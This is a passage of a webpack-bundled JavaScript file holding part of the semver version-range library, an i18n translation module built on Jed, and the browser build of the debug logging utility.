    oppositeDirectionsLessThan || oppositeDirectionsGreaterThan;
};


exports.Range = Range;
function Range(range, loose) {
  if (range instanceof Range) {
    if (range.loose === loose) {
      return range;
    } else {
      return new Range(range.raw, loose);
    }
  }

  if (range instanceof Comparator) {
    return new Range(range.value, loose);
  }

  if (!(this instanceof Range))
    return new Range(range, loose);

  this.loose = loose;

  // First, split based on boolean or ||
  this.raw = range;
  this.set = range.split(/\s*\|\|\s*/).map(function(range) {
    return this.parseRange(range.trim());
  }, this).filter(function(c) {
    // throw out any that are not relevant for whatever reason
    return c.length;
  });

  if (!this.set.length) {
    throw new TypeError('Invalid SemVer Range: ' + range);
  }

  this.format();
}

Range.prototype.format = function() {
  this.range = this.set.map(function(comps) {
    return comps.join(' ').trim();
  }).join('||').trim();
  return this.range;
};

Range.prototype.toString = function() {
  return this.range;
};

Range.prototype.parseRange = function(range) {
  var loose = this.loose;
  range = range.trim();
  debug('range', range, loose);
  // `1.2.3 - 1.2.4` => `>=1.2.3 <=1.2.4`
  var hr = loose ? re[HYPHENRANGELOOSE] : re[HYPHENRANGE];
  range = range.replace(hr, hyphenReplace);
  debug('hyphen replace', range);
  // `> 1.2.3 < 1.2.5` => `>1.2.3 <1.2.5`
  range = range.replace(re[COMPARATORTRIM], comparatorTrimReplace);
  debug('comparator trim', range, re[COMPARATORTRIM]);

  // `~ 1.2.3` => `~1.2.3`
  range = range.replace(re[TILDETRIM], tildeTrimReplace);

  // `^ 1.2.3` => `^1.2.3`
  range = range.replace(re[CARETTRIM], caretTrimReplace);

  // normalize spaces
  range = range.split(/\s+/).join(' ');

  // At this point, the range is completely trimmed and
  // ready to be split into comparators.

  var compRe = loose ? re[COMPARATORLOOSE] : re[COMPARATOR];
  var set = range.split(' ').map(function(comp) {
    return parseComparator(comp, loose);
  }).join(' ').split(/\s+/);
  if (this.loose) {
    // in loose mode, throw out any that are not valid comparators
    set = set.filter(function(comp) {
      return !!comp.match(compRe);
    });
  }
  set = set.map(function(comp) {
    return new Comparator(comp, loose);
  });

  return set;
};

Range.prototype.intersects = function(range, loose) {
  if (!(range instanceof Range)) {
    throw new TypeError('a Range is required');
  }

  return this.set.some(function(thisComparators) {
    return thisComparators.every(function(thisComparator) {
      return range.set.some(function(rangeComparators) {
        return rangeComparators.every(function(rangeComparator) {
          return thisComparator.intersects(rangeComparator, loose);
        });
      });
    });
  });
};

// Mostly just for testing and legacy API reasons
exports.toComparators = toComparators;
function toComparators(range, loose) {
  return new Range(range, loose).set.map(function(comp) {
    return comp.map(function(c) {
      return c.value;
    }).join(' ').trim().split(' ');
  });
}

// comprised of xranges, tildes, stars, and gtlt's at this point.
// already replaced the hyphen ranges
// turn into a set of JUST comparators.
function parseComparator(comp, loose) {
  debug('comp', comp);
  comp = replaceCarets(comp, loose);
  debug('caret', comp);
  comp = replaceTildes(comp, loose);
  debug('tildes', comp);
  comp = replaceXRanges(comp, loose);
  debug('xrange', comp);
  comp = replaceStars(comp, loose);
  debug('stars', comp);
  return comp;
}

function isX(id) {
  return !id || id.toLowerCase() === 'x' || id === '*';
}

// ~, ~> --> * (any, kinda silly)
// ~2, ~2.x, ~2.x.x, ~>2, ~>2.x ~>2.x.x --> >=2.0.0 <3.0.0
// ~2.0, ~2.0.x, ~>2.0, ~>2.0.x --> >=2.0.0 <2.1.0
// ~1.2, ~1.2.x, ~>1.2, ~>1.2.x --> >=1.2.0 <1.3.0
// ~1.2.3, ~>1.2.3 --> >=1.2.3 <1.3.0
// ~1.2.0, ~>1.2.0 --> >=1.2.0 <1.3.0
function replaceTildes(comp, loose) {
  return comp.trim().split(/\s+/).map(function(comp) {
    return replaceTilde(comp, loose);
  }).join(' ');
}

function replaceTilde(comp, loose) {
  var r = loose ? re[TILDELOOSE] : re[TILDE];
  return comp.replace(r, function(_, M, m, p, pr) {
    debug('tilde', comp, _, M, m, p, pr);
    var ret;

    if (isX(M))
      ret = '';
    else if (isX(m))
      ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';
    else if (isX(p))
      // ~1.2 == >=1.2.0 <1.3.0
      ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';
    else if (pr) {
      debug('replaceTilde pr', pr);
      if (pr.charAt(0) !== '-')
        pr = '-' + pr;
      ret = '>=' + M + '.' + m + '.' + p + pr +
            ' <' + M + '.' + (+m + 1) + '.0';
    } else
      // ~1.2.3 == >=1.2.3 <1.3.0
      ret = '>=' + M + '.' + m + '.' + p +
            ' <' + M + '.' + (+m + 1) + '.0';

    debug('tilde return', ret);
    return ret;
  });
}

// ^ --> * (any, kinda silly)
// ^2, ^2.x, ^2.x.x --> >=2.0.0 <3.0.0
// ^2.0, ^2.0.x --> >=2.0.0 <3.0.0
// ^1.2, ^1.2.x --> >=1.2.0 <2.0.0
// ^1.2.3 --> >=1.2.3 <2.0.0
// ^1.2.0 --> >=1.2.0 <2.0.0
function replaceCarets(comp, loose) {
  return comp.trim().split(/\s+/).map(function(comp) {
    return replaceCaret(comp, loose);
  }).join(' ');
}

function replaceCaret(comp, loose) {
  debug('caret', comp, loose);
  var r = loose ? re[CARETLOOSE] : re[CARET];
  return comp.replace(r, function(_, M, m, p, pr) {
    debug('caret', comp, _, M, m, p, pr);
    var ret;

    if (isX(M))
      ret = '';
    else if (isX(m))
      ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';
    else if (isX(p)) {
      if (M === '0')
        ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';
      else
        ret = '>=' + M + '.' + m + '.0 <' + (+M + 1) + '.0.0';
    } else if (pr) {
      debug('replaceCaret pr', pr);
      if (pr.charAt(0) !== '-')
        pr = '-' + pr;
      if (M === '0') {
        if (m === '0')
          ret = '>=' + M + '.' + m + '.' + p + pr +
                ' <' + M + '.' + m + '.' + (+p + 1);
        else
          ret = '>=' + M + '.' + m + '.' + p + pr +
                ' <' + M + '.' + (+m + 1) + '.0';
      } else
        ret = '>=' + M + '.' + m + '.' + p + pr +
              ' <' + (+M + 1) + '.0.0';
    } else {
      debug('no pr');
      if (M === '0') {
        if (m === '0')
          ret = '>=' + M + '.' + m + '.' + p +
                ' <' + M + '.' + m + '.' + (+p + 1);
        else
          ret = '>=' + M + '.' + m + '.' + p +
                ' <' + M + '.' + (+m + 1) + '.0';
      } else
        ret = '>=' + M + '.' + m + '.' + p +
              ' <' + (+M + 1) + '.0.0';
    }

    debug('caret return', ret);
    return ret;
  });
}

function replaceXRanges(comp, loose) {
  debug('replaceXRanges', comp, loose);
  return comp.split(/\s+/).map(function(comp) {
    return replaceXRange(comp, loose);
  }).join(' ');
}

function replaceXRange(comp, loose) {
  comp = comp.trim();
  var r = loose ? re[XRANGELOOSE] : re[XRANGE];
  return comp.replace(r, function(ret, gtlt, M, m, p, pr) {
    debug('xRange', comp, ret, gtlt, M, m, p, pr);
    var xM = isX(M);
    var xm = xM || isX(m);
    var xp = xm || isX(p);
    var anyX = xp;

    if (gtlt === '=' && anyX)
      gtlt = '';

    if (xM) {
      if (gtlt === '>' || gtlt === '<') {
        // nothing is allowed
        ret = '<0.0.0';
      } else {
        // nothing is forbidden
        ret = '*';
      }
    } else if (gtlt && anyX) {
      // replace X with 0
      if (xm)
        m = 0;
      if (xp)
        p = 0;

      if (gtlt === '>') {
        // >1 => >=2.0.0
        // >1.2 => >=1.3.0
        // >1.2.3 => >= 1.2.4
        gtlt = '>=';
        if (xm) {
          M = +M + 1;
          m = 0;
          p = 0;
        } else if (xp) {
          m = +m + 1;
          p = 0;
        }
      } else if (gtlt === '<=') {
        // <=0.7.x is actually <0.8.0, since any 0.7.x should
        // pass.  Similarly, <=7.x is actually <8.0.0, etc.
        gtlt = '<';
        if (xm)
          M = +M + 1;
        else
          m = +m + 1;
      }

      ret = gtlt + M + '.' + m + '.' + p;
    } else if (xm) {
      ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';
    } else if (xp) {
      ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';
    }

    debug('xRange return', ret);

    return ret;
  });
}

// Because * is AND-ed with everything else in the comparator,
// and '' means "any version", just remove the *s entirely.
function replaceStars(comp, loose) {
  debug('replaceStars', comp, loose);
  // Looseness is ignored here.  star is always as loose as it gets!
  return comp.trim().replace(re[STAR], '');
}

// This function is passed to string.replace(re[HYPHENRANGE])
// M, m, patch, prerelease, build
// 1.2 - 3.4.5 => >=1.2.0 <=3.4.5
// 1.2.3 - 3.4 => >=1.2.0 <3.5.0 Any 3.4.x will do
// 1.2 - 3.4 => >=1.2.0 <3.5.0
function hyphenReplace($0,
                       from, fM, fm, fp, fpr, fb,
                       to, tM, tm, tp, tpr, tb) {

  if (isX(fM))
    from = '';
  else if (isX(fm))
    from = '>=' + fM + '.0.0';
  else if (isX(fp))
    from = '>=' + fM + '.' + fm + '.0';
  else
    from = '>=' + from;

  if (isX(tM))
    to = '';
  else if (isX(tm))
    to = '<' + (+tM + 1) + '.0.0';
  else if (isX(tp))
    to = '<' + tM + '.' + (+tm + 1) + '.0';
  else if (tpr)
    to = '<=' + tM + '.' + tm + '.' + tp + '-' + tpr;
  else
    to = '<=' + to;

  return (from + ' ' + to).trim();
}


// if ANY of the sets match ALL of its comparators, then pass
Range.prototype.test = function(version) {
  if (!version)
    return false;

  if (typeof version === 'string')
    version = new SemVer(version, this.loose);

  for (var i = 0; i < this.set.length; i++) {
    if (testSet(this.set[i], version))
      return true;
  }
  return false;
};

function testSet(set, version) {
  for (var i = 0; i < set.length; i++) {
    if (!set[i].test(version))
      return false;
  }

  if (version.prerelease.length) {
    // Find the set of versions that are allowed to have prereleases
    // For example, ^1.2.3-pr.1 desugars to >=1.2.3-pr.1 <2.0.0
    // That should allow `1.2.3-pr.2` to pass.
    // However, `1.2.4-alpha.notready` should NOT be allowed,
    // even though it's within the range set by the comparators.
    for (var i = 0; i < set.length; i++) {
      debug(set[i].semver);
      if (set[i].semver === ANY)
        continue;

      if (set[i].semver.prerelease.length > 0) {
        var allowed = set[i].semver;
        if (allowed.major === version.major &&
            allowed.minor === version.minor &&
            allowed.patch === version.patch)
          return true;
      }
    }

    // Version has a -pre, but it's not one of the ones we like.
    return false;
  }

  return true;
}

exports.satisfies = satisfies;
function satisfies(version, range, loose) {
  try {
    range = new Range(range, loose);
  } catch (er) {
    return false;
  }
  return range.test(version);
}

exports.maxSatisfying = maxSatisfying;
function maxSatisfying(versions, range, loose) {
  var max = null;
  var maxSV = null;
  try {
    var rangeObj = new Range(range, loose);
  } catch (er) {
    return null;
  }
  versions.forEach(function (v) {
    if (rangeObj.test(v)) { // satisfies(v, range, loose)
      if (!max || maxSV.compare(v) === -1) { // compare(max, v, true)
        max = v;
        maxSV = new SemVer(max, loose);
      }
    }
  })
  return max;
}

exports.minSatisfying = minSatisfying;
function minSatisfying(versions, range, loose) {
  var min = null;
  var minSV = null;
  try {
    var rangeObj = new Range(range, loose);
  } catch (er) {
    return null;
  }
  versions.forEach(function (v) {
    if (rangeObj.test(v)) { // satisfies(v, range, loose)
      if (!min || minSV.compare(v) === 1) { // compare(min, v, true)
        min = v;
        minSV = new SemVer(min, loose);
      }
    }
  })
  return min;
}

exports.validRange = validRange;
function validRange(range, loose) {
  try {
    // Return '*' instead of '' so that truthiness works.
    // This will throw if it's invalid anyway
    return new Range(range, loose).range || '*';
  } catch (er) {
    return null;
  }
}

// Determine if version is less than all the versions possible in the range
exports.ltr = ltr;
function ltr(version, range, loose) {
  return outside(version, range, '<', loose);
}

// Determine if version is greater than all the versions possible in the range.
exports.gtr = gtr;
function gtr(version, range, loose) {
  return outside(version, range, '>', loose);
}

exports.outside = outside;
function outside(version, range, hilo, loose) {
  version = new SemVer(version, loose);
  range = new Range(range, loose);

  var gtfn, ltefn, ltfn, comp, ecomp;
  switch (hilo) {
    case '>':
      gtfn = gt;
      ltefn = lte;
      ltfn = lt;
      comp = '>';
      ecomp = '>=';
      break;
    case '<':
      gtfn = lt;
      ltefn = gte;
      ltfn = gt;
      comp = '<';
      ecomp = '<=';
      break;
    default:
      throw new TypeError('Must provide a hilo val of "<" or ">"');
  }

  // If it satisifes the range it is not outside
  if (satisfies(version, range, loose)) {
    return false;
  }

  // From now on, variable terms are as if we're in "gtr" mode.
  // but note that everything is flipped for the "ltr" function.

  for (var i = 0; i < range.set.length; ++i) {
    var comparators = range.set[i];

    var high = null;
    var low = null;

    comparators.forEach(function(comparator) {
      if (comparator.semver === ANY) {
        comparator = new Comparator('>=0.0.0')
      }
      high = high || comparator;
      low = low || comparator;
      if (gtfn(comparator.semver, high.semver, loose)) {
        high = comparator;
      } else if (ltfn(comparator.semver, low.semver, loose)) {
        low = comparator;
      }
    });

    // If the edge version comparator has a operator then our version
    // isn't outside it
    if (high.operator === comp || high.operator === ecomp) {
      return false;
    }

    // If the lowest version comparator has an operator and our version
    // is less than it then it isn't higher than the range
    if ((!low.operator || low.operator === comp) &&
        ltefn(version, low.semver)) {
      return false;
    } else if (low.operator === ecomp && ltfn(version, low.semver)) {
      return false;
    }
  }
  return true;
}

exports.prerelease = prerelease;
function prerelease(version, loose) {
  var parsed = parse(version, loose);
  return (parsed && parsed.prerelease.length) ? parsed.prerelease : null;
}

exports.intersects = intersects;
function intersects(r1, r2, loose) {
  r1 = new Range(r1, loose)
  r2 = new Range(r2, loose)
  return r1.intersects(r2)
}

exports.coerce = coerce;
function coerce(version) {
  if (version instanceof SemVer)
    return version;

  if (typeof version !== 'string')
    return null;

  var match = version.match(re[COERCE]);

  if (match == null)
    return null;

  return parse((match[1] || '0') + '.' + (match[2] || '0') + '.' + (match[3] || '0')); 
}

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 92 */
/***/ (function(module, exports, __webpack_require__) {

/**
 * External dependencies
 */
var debug = __webpack_require__( 93 )( 'i18n-wp-plugin' ),
	Jed = __webpack_require__( 96 ),
	sha1 = __webpack_require__( 97 ),
	EventEmitter = __webpack_require__( 56 ).EventEmitter,
	interpolateComponents = __webpack_require__( 100 ).default,
	LRU = __webpack_require__( 103 ),
	assign = __webpack_require__( 60 );

/**
 * Internal dependencies
 */
var numberFormatPHPJS = __webpack_require__( 104 );

/**
 * Constants
 */
var decimal_point_translation_key = 'number_format_decimals',
	thousands_sep_translation_key = 'number_format_thousands_sep';

var translationLookup = [
	// By default don't modify the options when looking up translations.
	function( options ) {
		return options;
	}
];

var hashCache = {};

// raise a console warning
function warn() {
	if ( ! I18N.throwErrors ) {
		return;
	}
	if ( 'undefined' !== typeof window && window.console && window.console.warn ) {
		window.console.warn.apply( window.console, arguments );
	}
}

// turns Function.arguments into an array
function simpleArguments( args ) {
	return Array.prototype.slice.call( args );
}

/**
 * Coerce the possible arguments and normalize to a single object
 * @param  {arguments} args - arguments passed in from `translate()`
 * @return {object}         - a single object describing translation needs
 */
function normalizeTranslateArguments( args ) {
	var original = args[ 0 ],
		options = {},
		i;

	// warn about older deprecated syntax
	if ( typeof original !== 'string' || args.length > 3 || ( args.length > 2 && typeof args[ 1 ] === 'object' && typeof args[ 2 ] === 'object' ) ) {
		warn( 'Deprecated Invocation: `translate()` accepts ( string, [string], [object] ). These arguments passed:', simpleArguments( args ), '. See https://github.com/pentatonicfunk/i18n-wp-plugin#translate-method' );
	}
	if ( args.length === 2 && typeof original === 'string' && typeof args[ 1 ] === 'string' ) {
		warn( 'Invalid Invocation: `translate()` requires an options object for plural translations, but passed:', simpleArguments( args ) );
	}

	// options could be in position 0, 1, or 2
	// sending options as the first object is deprecated and will raise a warning
	for ( i = 0; i < args.length; i++ ) {
		if ( typeof args[ i ] === 'object' ) {
			options = args[ i ];
		}
	}

	// `original` can be passed as first parameter or as part of the options object
	// though passing original as part of the options is a deprecated approach and will be removed
	if ( typeof original === 'string' ) {
		options.original = original;
	} else if ( typeof options.original === 'object' ) {
		options.plural = options.original.plural;
		options.count = options.original.count;
		options.original = options.original.single;
	}
	if ( typeof args[ 1 ] === 'string' ) {
		options.plural = args[ 1 ];
	}

	if ( typeof options.original === 'undefined' ) {
		throw new Error( 'Translate called without a `string` value as first argument.' );
	}

	return options;
}

/**
 * Pull the right set of arguments for the Jed method
 * @param  {string} jedMethod Name of jed gettext-style method. [See docs](http://slexaxton.github.io/Jed/)
 * @param  {[object]} props     properties passed into `translate()` method
 * @return {[array]}           array of properties to pass into gettext-style method
 */
function getJedArgs( jedMethod, props ) {
	switch ( jedMethod ) {
		case 'gettext':
			return [ props.original ];
		case 'ngettext':
			return [ props.original, props.plural, props.count ];
		case 'npgettext':
			return [ props.context, props.original, props.plural, props.count ];
		case 'pgettext':
			return [ props.context, props.original ];
	}

	return [];
}

/**
 * Takes translate options object and coerces to a Jed request to retrieve translation
 * @param  {object} jed     - jed data object
 * @param  {object} options - object describing translation
 * @return {string}         - the returned translation from Jed
 */
function getTranslationFromJed( jed, options ) {
	var jedMethod = 'gettext',
		jedArgs;

	if ( options.context ) {
		jedMethod = 'p' + jedMethod;
	}

	if ( typeof options.original === 'string' && typeof options.plural === 'string' ) {
		jedMethod = 'n' + jedMethod;
	}

	jedArgs = getJedArgs( jedMethod, options );

	return jed[ jedMethod ].apply( jed, jedArgs );
}

function getTranslation( i18n, options ) {
	var i, lookup;

	for ( i = translationLookup.length - 1; i >= 0; i-- ) {
		lookup = translationLookup[ i ]( assign( {}, options ) );
		// Only get the translation from jed if it exists.
		if ( i18n.state.locale[ lookup.original ] ) {
			return getTranslationFromJed( i18n.state.jed, lookup );
		}
	}

	return null;
}


function I18N() {
	if( ! ( this instanceof I18N ) ) {
		return new I18N();
	}
	this.defaultLocaleSlug = 'en';
	this.state = {
		numberFormatSettings: {},
		jed: undefined,
		locale: undefined,
		localeSlug: undefined,
		translations: LRU( { max: 100 } )
	};
	this.componentUpdateHooks = [];
	this.translateHooks = [];
	this.stateObserver = new EventEmitter();
	// Because the higher-order component can wrap a ton of React components,
	// we need to bump the number of listeners to infinity and beyond
	// FIXME: still valid?
	this.stateObserver.setMaxListeners( 0 );
	// default configuration
	this.configure();
}

I18N.throwErrors = false;

/**
 * Formats numbers using locale settings and/or passed options
 * @param  {String|Number|Int}  number to format (required)
 * @param  {Int|object} options  Number of decimal places or options object (optional)
 * @return {string}         Formatted number as string
 */
I18N.prototype.numberFormat = function( number ) {
	var options = arguments[ 1 ] || {},
		decimals = ( typeof options === 'number' ) ? options : options.decimals || 0,
		decPoint = options.decPoint || this.state.numberFormatSettings.decimal_point || '.',
		thousandsSep = options.thousandsSep || this.state.numberFormatSettings.thousands_sep || ',';

	return numberFormatPHPJS( number, decimals, decPoint, thousandsSep );
};

I18N.prototype.configure = function( options ) {
	assign( this, options || {} );
	this.setLocale();
};

I18N.prototype.setLocale = function( localeData ) {
	if ( localeData && localeData[ '' ] && localeData[ '' ][ 'key-hash' ] ) {
		var hashLength, minHashLength, maxHashLength, keyHash = localeData[ '' ][ 'key-hash' ];

		var transform = function( string, hashLength ) {
			const lookupPrefix = hashLength === false ? '' : String( hashLength );
			if ( typeof hashCache[ lookupPrefix + string ] !== 'undefined' ) {
				return hashCache[ lookupPrefix + string ];
			}
			var hash = sha1().update( string ).digest('hex');

			if ( hashLength ) {
				return hashCache[ lookupPrefix + string ] = hash.substr( 0, hashLength );
			}

			return hashCache[ lookupPrefix + string ] = hash;
		};

		var generateLookup = function( hashLength ) {
			return function( options ) {
				if ( options.context ) {
					options.original = transform( options.context + String.fromCharCode( 4 ) + options.original, hashLength );
					delete options.context;
				} else {
					options.original = transform( options.original, hashLength );
				}

				return options;
			};
		}

		if ( keyHash.substr( 0, 4 ) === 'sha1' ) {
			if ( keyHash.length === 4 ) {
				translationLookup.push( generateLookup( false ) );
			} else {
				var variableHashLengthPos = keyHash.substr( 5 ).indexOf( '-' );
				if ( variableHashLengthPos < 0 ) {
					hashLength = Number( keyHash.substr( 5 ) );
					translationLookup.push( generateLookup( hashLength ) );
				} else {
					minHashLength = Number( keyHash.substr( 5, variableHashLengthPos ) );
					maxHashLength = Number( keyHash.substr( 6 + variableHashLengthPos ) );

					for ( hashLength = minHashLength; hashLength <= maxHashLength; hashLength++ ) {
						translationLookup.push( generateLookup( hashLength ) );
					}
				}
			}
		}
	}

	// if localeData is not given, assumes default locale and reset
	if ( ! localeData || ! localeData[ '' ].localeSlug ) {
		this.state.locale = { '': { localeSlug: this.defaultLocaleSlug } };
	} else if ( localeData[ '' ].localeSlug === this.state.localeSlug ) {
		// Exit if same data as current (comparing references only)
		if ( localeData === this.state.locale ) {
			return;
		}

		// merge new data into existing one
		assign( this.state.locale, localeData );
	} else {
		this.state.locale = assign( {}, localeData );
	}

	this.state.localeSlug = this.state.locale[ '' ].localeSlug;

	this.state.jed = new Jed( {
		locale_data: {
			messages: this.state.locale
		}
	} );


	// Updates numberFormat preferences with settings from translations
	this.state.numberFormatSettings.decimal_point = getTranslationFromJed(
		this.state.jed,
		normalizeTranslateArguments( [ decimal_point_translation_key ] )
	);
	this.state.numberFormatSettings.thousands_sep = getTranslationFromJed(
		this.state.jed,
		normalizeTranslateArguments( [ thousands_sep_translation_key ] )
	);

	// If translation isn't set, define defaults.
	if ( this.state.numberFormatSettings.decimal_point === decimal_point_translation_key ) {
		this.state.numberFormatSettings.decimal_point = '.';
	}

	if ( this.state.numberFormatSettings.thousands_sep === thousands_sep_translation_key ) {
		this.state.numberFormatSettings.thousands_sep = ',';
	}

	this.state.translations.clear();
	this.stateObserver.emit( 'change' );
};

I18N.prototype.getLocale = function() {
	return this.state.locale;
};

/**
 * Get the current locale slug.
 * @returns {string} The string representing the currently loaded locale
 **/
I18N.prototype.getLocaleSlug = function() {
	return this.state.localeSlug;
};


/**
 * Adds new translations to the locale data, overwriting any existing translations with a matching key
 **/
I18N.prototype.addTranslations = function( localeData ) {
	for ( var prop in localeData ) {
		if ( prop !== '' ) {
			this.state.jed.options.locale_data.messages[prop] = localeData[prop];
		}
	}

	this.state.translations.clear();
	this.stateObserver.emit( 'change' );
};


/**
 * Checks whether the given original has a translation. Parameters are the same as for translate().
 *
 * @param  {string} original  the string to translate
 * @param  {string} plural    the plural string to translate (if applicable), original used as singular
 * @param  {object} options   properties describing translation requirements for given text
 * @return {boolean} whether a translation exists
 */
I18N.prototype.hasTranslation = function() {
	return !! getTranslation( this, normalizeTranslateArguments( arguments ) );
}

/**
 * Exposes single translation method, which is converted into its respective Jed method.
 * See sibling README
 * @param  {string} original  the string to translate
 * @param  {string} plural    the plural string to translate (if applicable), original used as singular
 * @param  {object} options   properties describing translation requirements for given text
 * @return {string|React-components} translated text or an object containing React children that can be inserted into a parent component
 */
I18N.prototype.translate = function() {
	var options, translation, sprintfArgs, errorMethod, optionsString, cacheable;

	options = normalizeTranslateArguments( arguments );

	cacheable = ! options.components;
	if ( cacheable ) {
		// Safe JSON stringification here to catch Circular JSON error
		// caused by passing a React component into args where only scalars are allowed
		try {
			optionsString = JSON.stringify( options );
		} catch ( e ) {
			cacheable = false;
		}

		if ( optionsString ) {
			translation = this.state.translations.get( optionsString );
			// Return the cached translation.
			if ( translation ) {
				return translation;
			}
		}
	}

	translation = getTranslation( this, options );
	if ( ! translation ) {
		// This purposefully calls jed for a case where there is no translation,
		// so that jed gives us the expected object with English text.
		translation = getTranslationFromJed( this.state.jed, options );
	}

	// handle any string substitution
	if ( options.args ) {
		sprintfArgs = ( Array.isArray( options.args ) ) ? options.args.slice( 0 ) : [ options.args ];
		sprintfArgs.unshift( translation );
		try {
			translation = Jed.sprintf.apply( Jed, sprintfArgs );
		} catch ( error ) {
			if ( ! window || ! window.console ) {
				return;
			}
			errorMethod = this.throwErrors ? 'error' : 'warn';
			if ( typeof error !== 'string' ) {
				window.console[ errorMethod ]( error );
			} else {
				window.console[ errorMethod ]( 'i18n sprintf error:', sprintfArgs );
			}
		}
	}

	// interpolate any components
	if ( options.components ) {
		translation = interpolateComponents( {
			mixedString: translation,
			components: options.components,
			throwErrors: this.throwErrors
		} );
	}

	// run any necessary hooks
	this.translateHooks.forEach( function( hook ) {
		translation = hook( translation, options );
	} );

	if ( cacheable ) {
		this.state.translations.set( optionsString, translation );
	}

	return translation;
};

/**
 * Causes i18n to re-render all translations.
 *
 * This can be necessary if an extension makes changes that i18n is unaware of
 * and needs those changes manifested immediately (e.g. adding an important
 * translation hook, or modifying the behaviour of an existing hook).
 *
 * If at all possible, react components should try to use the more local
 * updateTranslation() function inherited from the mixin.
 */
I18N.prototype.reRenderTranslations = function() {
	debug( 'Re-rendering all translations due to external request' );
	this.state.translations.clear();
	this.stateObserver.emit( 'change' );
};

I18N.prototype.registerComponentUpdateHook = function( callback ) {
	this.componentUpdateHooks.push( callback );
};

I18N.prototype.registerTranslateHook = function( callback ) {
	this.translateHooks.push( callback );
};

module.exports = I18N;


/***/ }),
/* 93 */
/***/ (function(module, exports, __webpack_require__) {

/* WEBPACK VAR INJECTION */(function(process) {/**
 * This is the web browser implementation of `debug()`.
 *
 * Expose `debug()` as the module.
 */

exports = module.exports = __webpack_require__(94);
exports.log = log;
exports.formatArgs = formatArgs;
exports.save = save;
exports.load = load;
exports.useColors = useColors;
exports.storage = 'undefined' != typeof chrome
               && 'undefined' != typeof chrome.storage
                  ? chrome.storage.local
                  : localstorage();

/**
 * Colors.
 */

exports.colors = [
  '#0000CC', '#0000FF', '#0033CC', '#0033FF', '#0066CC', '#0066FF', '#0099CC',
  '#0099FF', '#00CC00', '#00CC33', '#00CC66', '#00CC99', '#00CCCC', '#00CCFF',
  '#3300CC', '#3300FF', '#3333CC', '#3333FF', '#3366CC', '#3366FF', '#3399CC',
  '#3399FF', '#33CC00', '#33CC33', '#33CC66', '#33CC99', '#33CCCC', '#33CCFF',
  '#6600CC', '#6600FF', '#6633CC', '#6633FF', '#66CC00', '#66CC33', '#9900CC',
  '#9900FF', '#9933CC', '#9933FF', '#99CC00', '#99CC33', '#CC0000', '#CC0033',
  '#CC0066', '#CC0099', '#CC00CC', '#CC00FF', '#CC3300', '#CC3333', '#CC3366',
  '#CC3399', '#CC33CC', '#CC33FF', '#CC6600', '#CC6633', '#CC9900', '#CC9933',
  '#CCCC00', '#CCCC33', '#FF0000', '#FF0033', '#FF0066', '#FF0099', '#FF00CC',
  '#FF00FF', '#FF3300', '#FF3333', '#FF3366', '#FF3399', '#FF33CC', '#FF33FF',
  '#FF6600', '#FF6633', '#FF9900', '#FF9933', '#FFCC00', '#FFCC33'
];

/**
 * Currently only WebKit-based Web Inspectors, Firefox >= v31,
 * and the Firebug extension (any Firefox version) are known
 * to support "%c" CSS customizations.
 *
 * TODO: add a `localStorage` variable to explicitly enable/disable colors
 */

function useColors() {
  // NB: In an Electron preload script, document will be defined but not fully
  // initialized. Since we know we're in Chrome, we'll just detect this case
  // explicitly
  if (typeof window !== 'undefined' && window.process && window.process.type === 'renderer') {
    return true;
  }

  // Internet Explorer and Edge do not support colors.
  if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) {
    return false;
  }

  // is webkit? http://stackoverflow.com/a/16459606/376773
  // document is undefined in react-native: https://github.com/facebook/react-native/pull/1632
  return (typeof document !== 'undefined' && document.documentElement && document.documentElement.style && document.documentElement.style.WebkitAppearance) ||
    // is firebug? http://stackoverflow.com/a/398120/376773
    (typeof window !== 'undefined' && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||
    // is firefox >= v31?
    // https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
    (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) && parseInt(RegExp.$1, 10) >= 31) ||
    // double check webkit in userAgent just in case we are in a worker
    (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/));
}

/**
 * Map %j to `JSON.stringify()`, since no Web Inspectors do that by default.
 */

exports.formatters.j = function(v) {
  try {
    return JSON.stringify(v);
  } catch (err) {
    return '[UnexpectedJSONParseError]: ' + err.message;
  }
};


/**
 * Colorize log arguments if enabled.
 *
 * @api public
 */

function formatArgs(args) {
  var useColors = this.useColors;

  args[0] = (useColors ? '%c' : '')
    + this.namespace
    + (useColors ? ' %c' : ' ')
    + args[0]
    + (useColors ? '%c ' : ' ')
    + '+' + exports.humanize(this.diff);

  if (!useColors) return;

  var c = 'color: ' + this.color;
  args.splice(1, 0, c, 'color: inherit')

  // the final "%c" is somewhat tricky, because there could be other
  // arguments passed either before or after the %c, so we need to
  // figure out the correct index to insert the CSS into
  var index = 0;
  var lastC = 0;
  args[0].replace(/%[a-zA-Z%]/g, function(match) {
    if ('%%' === match) return;
    index++;
    if ('%c' === match) {
      // we only are interested in the *last* %c
      // (the user may have provided their own)
      lastC = index;
    }
  });

  args.splice(lastC, 0, c);
}

/**
 * Invokes `console.log()` when available.
 * No-op when `console.log` is not a "function".
 *
 * @api public
 */

function log() {
  // this hackery is required for IE8/9, where
  // the `console.log` function doesn't have 'apply'
  return 'object' === typeof console
    && console.log
    && Function.prototype.apply.call(console.log, console, arguments);
}

/**
 * Save `namespaces`.
 *
 * @param {String} namespaces
 * @api private
 */

function save(namespaces) {
  try {
    if (null == namespaces) {
      exports.storage.removeItem('debug');
    } else {
      exports.storage.debug = namespaces;
    }
  } catch(e) {}
}

/**
 * Load `namespaces`.
 *
 * @return {String} returns the previously persisted debug modes
 * @api private
 */

function load() {
  var r;
  try {
    r = exports.storage.debug;
  } catch(e) {}

  // If debug isn't set in LS, and we're in Electron, try to load $DEBUG
  if (!r && typeof process !== 'undefined' && 'env' in process) {
    r = process.env.DEBUG;
  }

  return r;
}

/**
 * Enable namespaces listed in `localStorage.debug` initially.
 */

exports.enable(load());

/**
